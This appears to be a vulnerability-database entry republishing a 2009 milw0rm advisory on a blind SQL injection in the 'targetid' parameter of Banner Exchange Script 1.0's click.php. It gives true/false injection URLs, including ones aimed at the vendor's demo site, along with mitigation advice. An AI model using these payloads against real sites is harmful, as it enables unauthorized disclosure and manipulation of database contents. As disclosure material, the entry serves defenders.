Banner Exchange Script 1.0 (targetid) Remote Blind injection SQL

vendor:

Banner Exchange Script

by:

599eme Man

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Banner Exchange Script

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:e-soft24:banner_exchange_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Banner Exchange Script 1.0 (targetid) Remote Blind injection SQL

Banner Exchange Script 1.0 is vulnerable to a blind SQL injection vulnerability. This vulnerability is due to a failure in the application to properly sanitize user-supplied input to the 'targetid' parameter of the 'click.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the back-end database, resulting in the manipulation or disclosure of arbitrary data. This can be exploited to bypass authentication and gain administrative access.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically construct SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Banner Exchange Script 1.0 (targetid) Remote Blind injection SQL
# [+] Software : Banner Exchange Script
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special : Moudi my Brozazaaaaaaaaaaaa
# [+] Download : http://www.e-soft24.com/banner-exchange-script-p-367.html
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
#	[+] Blind
#
#		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=1 <= True so the page is redirected
# 		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=2 <= False so the page isn't redirected
#
#		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=4 <= False so the page isn't redirected
#		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=5 <= True so the page is redirected
#
#			[+] Demo
#
#				- http://www.e-soft24.com/scripts/banner-exchange/click.php?hostid=2&targetid=56%20and%20substring%28@@version,1,1%29=4 <= False so the page isn't redirected
#				- http://www.e-soft24.com/scripts/banner-exchange/click.php?hostid=2&targetid=56%20and%20substring%28@@version,1,1%29=5 <= True so the page is redirected
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-08-07]